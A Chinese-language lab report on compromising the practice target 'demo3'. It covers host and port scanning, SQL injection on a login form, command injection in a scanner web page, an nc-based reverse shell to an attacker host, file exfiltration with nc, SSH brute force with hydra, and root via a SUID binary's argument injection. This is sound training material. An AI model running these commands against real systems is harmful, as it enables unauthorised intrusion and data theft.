demo_3打靶

2.1k words

第 3 次实验:对demo3进行靶机渗透测试并获得 root 权限

一、实验目的

  • 取得目标靶机 demo3root 权限。
  • 使用主机发现、端口扫描等等攻击手段。

二、实验内容

1) 主机发现

首先执行命令:

1
2
sudo -i
arp-scan -l

由此得到目标主机地址为 10.0.2.5


2) 端口发现与扫描

执行以下命令对目标进行扫描(进一步验证是否为靶机;如不考虑时间可 nmap -p- 10.0.2.5):

1
nmap 10.0.2.15

对靶机进行服务探测,确认端口服务与版本:

1
nmap -p22,8080 -sV 10.0.2.5

发现 8080 端口为 Web 服务(检索可知是某 Web 开发库)。同时得知目标系统支持 Python 2.7


3) Web 渗透

访问 10.0.2.5:8080,页面为“反病毒扫描”平台界面:

启用 FoxyProxy → 打开 Burp Suite → 在 Proxy / Intercept on 状态下随意输入凭据提交,右击拦截请求选择 Send to Intruder

Intruder 中清空标记后仅选中“123”,添加要探测的字符(如 "$ 等),点击 attack

观察到 "status code = 500 且响应长度异常,查看 response → render

由报错可知存在双引号注入。关闭代理后在登录页输入:

1
"or 1=1 #

若报错,再尝试:

1
"or 1=1 --

成功登录:

(也可尝试暴力破解)

根据页面提示为 scan 功能,输入 scan

推测后端可能在命令行调用扫描器,于是用分号/管道符测试:
输入 bash;whoami 后成功执行(显示用户名 scanner),说明存在任意命令执行


4) 提权

提权尝试 1

已知靶机支持 Python;先检测是否有 nc

1
bash | which nc

输出 /bin/nc,说明可用 nc 串联反弹。

在 Kali 使用 tmux 分屏,分别监听 33334444(左为“会话1”,右为“会话2”)。网页输入并执行:

1
hello | nc 10.0.2.4 3333 | /bin/bash | nc 10.0.2.4 4444

获得靶机 shell。会话1 输入 ls,会话2 显示结果;ls -l 可见 4 个文件与 2 个目录:

database.sql 感兴趣。会话1 执行:

1
file database.sql

判断为 SQLite 文件。新开终端监听 5555 并保存到本机:

1
nc -nvlp 5555 > db.sql

会话1 执行:

1
nc 10.0.2.4 5555 < database.sql

在本机查看/导出:

1
2
3
4
sqlite3
.open db.sql
.database
.dump

发现 4 个疑似口令值(可用作邀请码/密码)。随后在会话1 获取可登录 shell 的用户名列表:

1
cat /etc/passwd | grep /bin/bash

退出 sqlite(.quit),使用 hydra 暴力测试。先在本机创建 user.txtpass.txt(分别包含 3 个用户名与 4 个密码):

执行:

1
hydra -L user.txt -P pass.txt ssh://10.0.2.5

未成功,转用其他方法。

提权尝试 2(SUID)

常见提权方式:

  1. 内核提权(前两次实验已使用)
  2. SUID 文件(以文件属主权限执行)

本次尝试 SUID。为便于分析,将扫描结果保存到文件再下载到本机查看。普通用户直接扫会有大量报错,因此把错误重定向到“黑洞”,正常输出重定向到 /tmp

1
find / -type f -perm -u+s 2>/dev/null > /tmp/suid.txt

检查:

1
ls -l /tmp/suid.txt

新终端监听 5555 保存结果:

1
nc -nvlp 5555 > suid.txt

会话1 发送:

1
nc 10.0.2.4 5555 < /tmp/suid.txt

查看 suid.txt,注意到可疑条目:

1
/home/scanner/update_cloudav

在会话1 执行 whoamipwd 后返回上级目录查看,得到漏洞源代码 updata_cloudav.c(注:文件名展示为 updata_cloudav.c):

打开源码:

可见该可执行文件需要一个参数;利用 SUID 特性,执行时将继承文件属主(root)的权限。
在 Kali 同时监听 77778888 端口,会话1 执行:

1
./update_cloudav "a|nc 10.0.2.4 7777 | /bin/bash | nc 10.0.2.4 8888"

会话3、会话4 成功建立连接:

在会话3 输入:

1
whoami

会话4 显示 root —— 提权成功


三、实验结果

通过攻击机 Kali Linux 对靶机 demo3 进行渗透测试,并成功获得 root 权限:


四、实验中遇到的问题及解决方案

  • 问题: 拿到低权限 shell 后,查看 database.sql 并尝试以用户名/密码暴力破解,未果。
  • 解决: 改用 SUID 文件 特性进行提权,成功获取 root。

五、实验的启示 / 意见和建议

  • 流程与前两次类似:先拿到低权限 shell,再进行提权。
  • 本次未用内核漏洞,而是抓住 SUID 的“以属主权限执行”特性:定位 SUID → 下载到本机分析 → 回靶机利用。
  • 掌握了利用 SUID 文件提权的完整思路与操作。

Comments